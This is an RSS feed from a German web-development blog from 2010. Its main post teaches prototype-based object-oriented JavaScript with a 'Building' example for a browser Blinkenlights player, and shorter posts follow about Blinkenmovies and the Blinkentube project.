<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>Scratchbook &#187; Webentwicklung</title> <atom:link href="http://scratchbook.ch/category/php/feed/" rel="self" type="application/rss+xml" /><link>http://scratchbook.ch</link> <description>Das Leben ist immer anders als die Realität</description> <lastBuildDate>Fri, 30 Jul 2010 17:01:12 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <item><title>Javascript objektorientiert</title><link>http://scratchbook.ch/2010/07/30/javascript-objektorientiert/</link> <comments>http://scratchbook.ch/2010/07/30/javascript-objektorientiert/#comments</comments> <pubDate>Fri, 30 Jul 2010 12:24:29 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=8384</guid> <description><![CDATA[Der Claude hat gestern die Prototyp-basierte Vererbung begriffen &#8211; glaubt er zumindest.
Wie es dazu kam? Er wurde vom CCC angefragt: Das Javascript-Blinkenlights sei eine prima Sache; ob man das auch für Arcade- und Stereoscope-Movies verwenden kann?
Arcade: Da kommen 8 Helligkeitsstufen hinzu. Nicht allzuviel Aufwand.
Stereoscope: Das sind 4 (!!) Screens, die synchronisiert ein Blinkenmovie abspielen.
4 Blinkenmovies [...]]]></description> <content:encoded><![CDATA[<p>Der Claude hat gestern die Prototyp-basierte Vererbung begriffen &#8211; glaubt er zumindest.</p><p>Wie es dazu kam? Er wurde vom <a href="http://ccc.de/">CCC</a> angefragt: Das Javascript-Blinkenlights sei eine prima Sache; ob man das auch für <a href="http://blinkenlights.net/arcade">Arcade</a>- und <a href="http://blinkenlights.net/stereoscope">Stereoscope</a>-Movies verwenden kann?</p><p>Arcade: Da kommen 8 Helligkeitsstufen hinzu. Nicht allzuviel Aufwand.</p><p>Stereoscope: Das sind 4 (!!) Screens, die synchronisiert ein Blinkenmovie abspielen.<br /> 4 Blinkenmovies gleichzeitig&#8230;</p><p>Tja, wie mach&#8217; ich das jetzt. Das JS-Blinkenlights ist ein Gebäude, bestehend aus einem Fenstergrid. Das Teil lädt ein XML, hat Frames, Timer und spielt das Filmchen ab.</p><p>Jetzt das Ganze mal 4.<br /> Claude möchte aber nicht 3x Code kopieren; sondern einmal ein Gebäude mit den Funktionalitäten erstellen, und das Teil soll dann dupliziert werden und die 4 Screens sollen dann eigenständig laufen. Mit eigenen XMLs, Frames und Timern.</p><p>Langsam begreift auch Claude: Jetzt ist es Zeit für objektorientiertes Javascript!</p><p><span id="more-8384"></span>Machen wir mal ein ganz einfaches Beispiel.</p><h2>HTML</h2><p><img src="http://scratchbook.ch/wp-content/uploads/2010/07/basic-html.jpg" alt="" title="basic html" width="339" height="119" class="alignnone size-full wp-image-8402" /></p><div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;div class=&quot;building&quot;&gt;home&lt;/div&gt;
&lt;div class=&quot;building&quot;&gt;namics&lt;/div&gt;</pre></div></div><h2>Prototyp</h2><p>Was wir brauchen, ist ein Prototyp. Eine Definition eines Gebäudes mit den Funktionalitäten und eigenständigen Variablen.</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> Building <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">increase</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">get_frame</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		console.<span style="color: #660066;">info</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div><p>Mein Gebäude hat ein Frame (das aktuelle Bild im Film), eine Funktion zum Erhöhen des Frames und eine Funktion um den aktuellen Frame auszugeben.</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span></pre></div></div><p>&#8220;this&#8221; bedeutet: Die Variable &#8220;frame&#8221; hängt später nicht mehr am Prototyp &#8220;Building&#8221;, sondern an dem Gebäude, welches man aus diesem Prototyp erstellt hat. Man spricht da auch von instanzieren und einer Instantvariable.</p><p>Alternativ kann ich den Prototyp auch so definieren:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> Building <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
Building.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
Building.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">increase</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
Building.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">get_frame</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    console.<span style="color: #660066;">info</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div><p>Anstatt ein &#8220;this&#8221; verwende ich das Schlüsselwort &#8220;prototype&#8221;, um die Instanzvariablen zu definieren.</p><p>Los geht&#8217;s:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066;">home</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Building<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Ich habe ein neues Gebäude erstellt; &#8220;home&#8221;.</p><p>Was ist jetzt da genau passiert?<br /> Die Funktion &#8220;Building&#8221; wird aufgerufen, die Werte werden zugewiesen und alles was an einem &#8220;this&#8221; oder &#8220;prototype&#8221; klebt wandert in das neue Objekt &#8220;home&#8221;.</p><p>Was ist da drin?</p><p><img src="http://scratchbook.ch/wp-content/uploads/2010/07/home-content.png" alt="" title="home-content" width="352" height="82" class="alignnone size-full wp-image-8415" /></p><p>Warum hat das jetzt Vorteile?<br /> Diese Variablen sind eigenständig.</p><p>Ich könnte ja auch einfach ein &#8220;Building&#8221; so erstellen:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> Building <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>
	frame<span style="color: #339933;">:</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span>
	increase<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		Building.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> Building.<span style="color: #660066;">frame</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>
	get_frame<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		console.<span style="color: #660066;">info</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div><p>Und erstellen:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066;">home</span> <span style="color: #339933;">=</span> Building<span style="color: #339933;">;</span></pre></div></div><p>Aber: Seht ihr das Problem? Das &#8220;Building&#8221; ist ja schon ein eigenständiges Objekt. Ich würde es bloss der neuen Variable &#8220;home&#8221; zuweisen und die Werte würden einfach dort angezeigt werden.<br /> Das Gebäude &#8220;Building&#8221; wäre einfach unter dem anderen Namen &#8220;home&#8221; erreichbar.<br /> Und das ist nicht wirklich eigenständig&#8230;</p><p>Mit dem Prototyp aber kann ich beliebig viele weitere Gebäude erstellen, die alle eigenständig funktionieren.</p><p>Also noch eine &#8220;namics&#8221;:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> namics <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Building<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Dann erhöhe ich das Frame bei &#8220;namics&#8221; um 5, bei &#8220;home&#8221; um 3.</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">namics.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
namics.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
namics.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
namics.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
namics.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">home</span>.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">home</span>.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">home</span>.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Ausgeben:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066;">home</span>.<span style="color: #660066;">get_frame</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
namics.<span style="color: #660066;">get_frame</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Ergebnis:</p><p><img src="http://scratchbook.ch/wp-content/uploads/2010/07/output.png" alt="" title="output" width="97" height="47" class="alignnone size-full wp-image-8428" /></p><h2>Gebäude pimpen</h2><p>Jetzt bauen wir noch ein bisschen Komfort und Extras ein.<br /> Zum Beispiel könnte ich das entsprechende HTML-Element selektieren, dem Gebäude übergeben und intern das jQuery-Objekt zwischenspeichern:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> Building <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>selector<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">this</span>.$ <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>selector<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>&#8230;und damit spielen:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066;">home</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Building<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.home'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">home</span>.$.<span style="color: #660066;">fadeOut</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><h2>Deluxe-Variante</h2><p>Ich mache aus allen Gebäuden (class=&#8221;building&#8221;) ein Gebäude, speichere jedes Gebäude in ein globales Array g.buildings und in ein globales Objekt g.buildings_n, um direkt darauf zuzugreifen. Dann starte ich auf allen Gebäuden den Timer, der jede Sekunde +1 hochzählt. Auf dem Namics-Gebäude starte ich den Timer ein zweites mal, nur um zu beweisen, dass die beiden wirklich völlig unterschiedlich ticken <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">//global object</span>
<span style="color: #003366; font-weight: bold;">var</span> g <span style="color: #339933;">=</span> g <span style="color: #339933;">||</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//buildings - providing access to all buildings</span>
g.<span style="color: #660066;">buildings</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
g.<span style="color: #660066;">buildings_n</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//a building...</span>
<span style="color: #003366; font-weight: bold;">var</span> Building <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>ref<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.$ <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>ref<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.$.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	g.<span style="color: #660066;">buildings</span>.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	g.<span style="color: #660066;">buildings_n</span><span style="color: #009900;">&#91;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
Building.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">increase</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">frame</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
Building.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">highlight</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.$.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'background'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'red'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
Building.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">start_timer</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> that <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span>
	setInterval<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #006600; font-style: italic;">//'this' is now related to setInterval... therefore, we use 'that'</span>
		that.<span style="color: #660066;">increase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		that.$.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>that.<span style="color: #000066;">name</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">': '</span> <span style="color: #339933;">+</span> that.<span style="color: #660066;">frame</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>
	<span style="color: #CC0000;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//lets build some buildings</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.building'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">new</span> Building<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//loop through all buildings and start the timer</span>
<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> g.<span style="color: #660066;">buildings</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	g.<span style="color: #660066;">buildings</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">start_timer</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//just start another timer</span>
g.<span style="color: #660066;">buildings_n</span>.<span style="color: #660066;">namics</span>.<span style="color: #660066;">start_timer</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Ergebnis:</p><p><img src="http://scratchbook.ch/wp-content/uploads/2010/07/deluxe.jpg" alt="" title="deluxe"  class="alignnone size-full wp-image-8432" /></p><p>Javascript rockt!<br /> Bahn frei für das Stereoscope Projekt.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/07/30/javascript-objektorientiert/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>&#8230;und es bewegt sich doch:</title><link>http://scratchbook.ch/2010/07/27/und-es-bewegt-sich-doch/</link> <comments>http://scratchbook.ch/2010/07/27/und-es-bewegt-sich-doch/#comments</comments> <pubDate>Tue, 27 Jul 2010 21:54:25 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Blinken TV]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=8370</guid> <description><![CDATA[
Die Blinkenmovies sind jetzt Einbettbar. Gefällt.
Und ich habe eine Kategorie Blinken TV erstellt, unter welcher ich blinkende Kunstwerke vorstelle.
]]></description> <content:encoded><![CDATA[<p><iframe src="http://scratchbook.ch/blinkentube/embed/firststeps" width="316" height="325" frameborder="0" align="left" scrolling="no"></iframe></p><p>Die <a href="http://scratchbook.ch/blinkentube/">Blinkenmovies</a> sind jetzt Einbettbar. Gefällt.</p><p>Und ich habe eine Kategorie <a href="http://scratchbook.ch/category/blinken-tv/">Blinken TV</a> erstellt, unter welcher ich blinkende Kunstwerke vorstelle.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/07/27/und-es-bewegt-sich-doch/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>We are the metalheads!</title><link>http://scratchbook.ch/2010/07/26/we-are-the-metalheads/</link> <comments>http://scratchbook.ch/2010/07/26/we-are-the-metalheads/#comments</comments> <pubDate>Mon, 26 Jul 2010 20:31:02 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Blinken TV]]></category> <category><![CDATA[Musik]]></category> <category><![CDATA[Reisen]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=8329</guid> <description><![CDATA[
Meine erste &#8220;richtige&#8221; Blinkenlights-Animation: #wacken2010
www.wacken.com
]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2010/07/blinkenwack.jpg" alt="" title="blinkenwack" width="316" height="325" class="alignnone size-full wp-image-8332" /></p><p>Meine erste &#8220;richtige&#8221; Blinkenlights-Animation: <a target="_blank" href="http://scratchbook.ch/blinkentube/#wacken2010">#wacken2010</a></p><p><a href="http://www.wacken.com/">www.wacken.com</a></p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/07/26/we-are-the-metalheads/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Javascript meets Blinkenlights</title><link>http://scratchbook.ch/2010/07/25/javascript-meets-blinkenlights/</link> <comments>http://scratchbook.ch/2010/07/25/javascript-meets-blinkenlights/#comments</comments> <pubDate>Sun, 25 Jul 2010 15:47:11 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Basteleien]]></category> <category><![CDATA[Blinken TV]]></category> <category><![CDATA[Informatik]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=8250</guid> <description><![CDATA[Kleines Projekt, entstanden an ein paar verregneten Nachmittagen:
Blinkentube &#8211; das ist Blinkenlights im Browser!Blinkenlights erblickte 2001 die Lichter der Welt. Ein Hochhaus mit 8 Stockwerken und 18 Fensterreihen &#8211; platziert man hinter jedes Fenster einen Scheinwerfer, ergibt das ein Display mit 18&#215;8 Pixeln.
Jeder konnte mit Blinkenpaint seine eigenen Blinkenlights-Movies erstellen und auf dem Gebäude abspielen [...]]]></description> <content:encoded><![CDATA[<p>Kleines Projekt, entstanden an ein paar verregneten Nachmittagen:</p><p><a target="_blank" href="http://scratchbook.ch/blinkentube/">Blinkentube</a> &#8211; das ist Blinkenlights im Browser!</p><p><img src="http://scratchbook.ch/wp-content/uploads/2010/07/blinken-n.jpg" alt="" title="blinken-n" width="453" height="338" class="alignnone size-full wp-image-8259" /></p><p><a target="_blank" href="http://blinkenlights.net/blinkenlights">Blinkenlights</a> erblickte 2001 die Lichter der Welt. Ein Hochhaus mit 8 Stockwerken und 18 Fensterreihen &#8211; platziert man hinter jedes Fenster einen Scheinwerfer, ergibt das ein Display mit 18&#215;8 Pixeln.<br /> Jeder konnte mit Blinkenpaint seine eigenen Blinkenlights-Movies erstellen und auf dem Gebäude abspielen lassen.</p><p>Es gab zahlreiche <a target="_blank" href="http://oldwiki.blinkenarea.org/bin/view/Blinkenarea/BlinkenProjects">Folgeprojekte und Nachbauten</a>. Blinkenlights mit LEDs, Simulatoren, räumliche Blinkenlights, Wände, Uhren, C64 Lights und viele mehr.<br /> Ein Nachbau fehlte mir aber auf dieser Liste: Blinkenlights im Browser.</p><p>Ich habe mit Blinkenpaint herumgespielt, und es fiel mir auf, dass die CPU-Auslastung konstant auf 100% war. Und die Animationen spielten sich eher etwas langsamer ab. Auch das Laden eines Blinkenmovies (eine XML-Datei) kann schon mal 2 Sekunden dauern&#8230;<br /> Ich habe mich gefragt: Ist es wirklich so rechenaufwändig, ein paar Lichter an- und auszuschalten? Geht das auch in meinem Browser?</p><p>Und ob!<br /> Nach einem Abend habe ich die Lichter (ok, &#8220;1&#8243; und &#8220;0&#8243; in einer HTML-Tabelle) zufallsmässig an- und ausgeschaltet. Läuft prima.<br /> Hmm&#8230; Ich muss ja das Rad nicht neu erfinden. Warum nicht gleich Blinkenmovies laden und abspielen? Ob das Parsen von 3000 Zeilen XML wohl genug schnell geht?</p><p>Und ob!<br /> Am nächsten Abend spielt ein Blinkenmovie in meinem Browser. Das Parsen geht *zagg* *bumm* &#8211; sofort da. Wonderful.</p><p>Aber die HTML-Tabelle ist hässlich. Wenn schon, dann jetzt mit den Originalbildern der leuchtenden Fenster.</p><p>Tabellenlos. Und es läuft immer noch tipptopp in Echtzeit und ohne gröbere CPU-Belastung&#8230;<br /> Und &#8211; das hat mir dann die Schuhe ausgezogen &#8211; selbst im IE6! <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /></p><p>Und als kleines Goodie vom verregneten Samstagnachmittag: Man kann seine eigenen mit Blinkenpaint erstellten Movies hochladen.</p><p>Blinkenpaint: <a target="_blank" href="http://blinkenlights.net/blinkenlights/blinkenpaint">http://blinkenlights.net/blinkenlights/blinkenpaint</a></p><p>Namics Blinkenmovie: <a target="_blank" href="http://scratchbook.ch/blinkentube/#namics">http://scratchbook.ch/blinkentube/#namics</a></p><p>Filme, die ich im Netz gefunden habe:<br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#changing-figures">http://scratchbook.ch/blinkentube/#changing-figures</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#ampel">http://scratchbook.ch/blinkentube/#ampel</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#the-game">http://scratchbook.ch/blinkentube/#the-game</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#bit-laden">http://scratchbook.ch/blinkentube/#bit-laden</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#column-shooting">http://scratchbook.ch/blinkentube/#column-shooting</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#le-chat-noir">http://scratchbook.ch/blinkentube/#le-chat-noir</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#g">http://scratchbook.ch/blinkentube/#g</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#der-wasserhahn">http://scratchbook.ch/blinkentube/#der-wasserhahn</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#james-blond">http://scratchbook.ch/blinkentube/#james-blond</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#labyrinth">http://scratchbook.ch/blinkentube/#labyrinth</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#tetris">http://scratchbook.ch/blinkentube/#tetris</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#the-fly">http://scratchbook.ch/blinkentube/#the-fly</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#thunderstorm">http://scratchbook.ch/blinkentube/#thunderstorm</a><br /> <a target="_blank" 